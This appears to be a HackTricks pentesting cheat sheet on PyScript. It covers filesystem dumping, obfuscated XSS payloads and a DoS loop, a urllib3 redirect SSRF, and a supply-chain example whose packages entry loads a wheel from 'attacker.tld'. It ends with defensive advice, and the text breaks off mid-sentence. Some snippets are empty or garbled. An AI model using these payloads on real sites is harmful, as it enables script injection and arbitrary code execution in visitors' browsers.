# Pyscript {{#include ../../banners/hacktricks-training.md}} ## PyScript Pentesting Guide PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes. ### Dumping / Retrieving files from the Emscripten virtual memory filesystem: `CVE ID: CVE-2022-30286`\ \ Code: ```html with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out = fin.read() print(out) ``` Result: ![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png) ### [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript) `CVE ID: CVE-2022-30286`\ \ Code: ```html x = "CyberGuy" if x == "CyberGuy": with open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read() print(contents) print(' ') ``` Result: ![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png) ### Cross Site Scripting (Ordinary) Code: ```python print("") ``` Result: ![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png) ### Cross Site Scripting (Python Obfuscated) Code: ```python sur = "\u0027al";fur = "e";rt = "rt" p = "\x22x$$\x22\x29\u0027\x3E" s = "\x28";pic = "\x3Cim";pa = "g";so = "sr" e = "c\u003d";q = "x" y = "o";m = "ner";z = "ror\u003d" print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) ``` Result: ![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png) ### Cross Site Scripting (JavaScript Obfuscation) Code: ```html prinht("" "") ``` Result: ![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) ### DoS attack (Infinity loop) Code: ```html while True: print("                              ") ``` Result: ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) --- ## New vulnerabilities & techniques (2023-2025) ### Server-Side Request Forgery via uncontrolled redirects (CVE-2025-50182) `urllib3 < 2.5.0` ignores the `redirect` and `retries` parameters when it is executed **inside the Pyodide runtime** that ships with PyScript. When an attacker can influence target URLs, they may force the Python code to follow cross-domain redirects even when the developer explicitly disabled them ‑ effectively bypassing anti-SSRF logic. ```html ``` Patched in `urllib3 2.5.0` – upgrade the package in your PyScript image or pin a safe version in `packages = ["urllib3>=2.5.0"]`. See the official CVE entry for details. ### Arbitrary package loading & supply-chain attacks Since PyScript allows arbitrary URLs in the `packages` list, a malicious actor who can modify or inject configuration can execute **fully arbitrary Python** in the victim’s browser: ```html packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"] ``` *Only pure-Python wheels are required – no WebAssembly compilation step is needed.* Make sure configuration is not user-controlled and host trusted wheels on your own domain with HTTPS & SRI hashes. ### Output sanitisation changes (2023+) * `print()` still injects raw HTML and is therefore XSS-prone (examples above). * The newer `display()` helper **escapes HTML by default** – raw markup must be wrapped in `pyscript.HTML()`. ```python from pyscript import display, HTML display("escaped") # renders literally display(HTML("not-escaped")) # executes as HTML -> potential XSS if untrusted ``` This behaviour was introduced in 2023 and is documented in the official Built-ins guide. Rely on `display()` for untrusted input and avoid calling `print()` directly. --- ## Defensive Best Practices * **Keep packages up to date** – upgrade to `urllib3 >= 2.5.0` and regularly rebuild wheels that ship with the site. * **Restrict package sources** – only reference PyPI names or same-origin URLs, ideally protected with Sub-resource Integrity (SRI). * **Harden Content Security Policy** – disallow inline JavaScript (`script-src 'self' 'sha256-…'`) so that injected `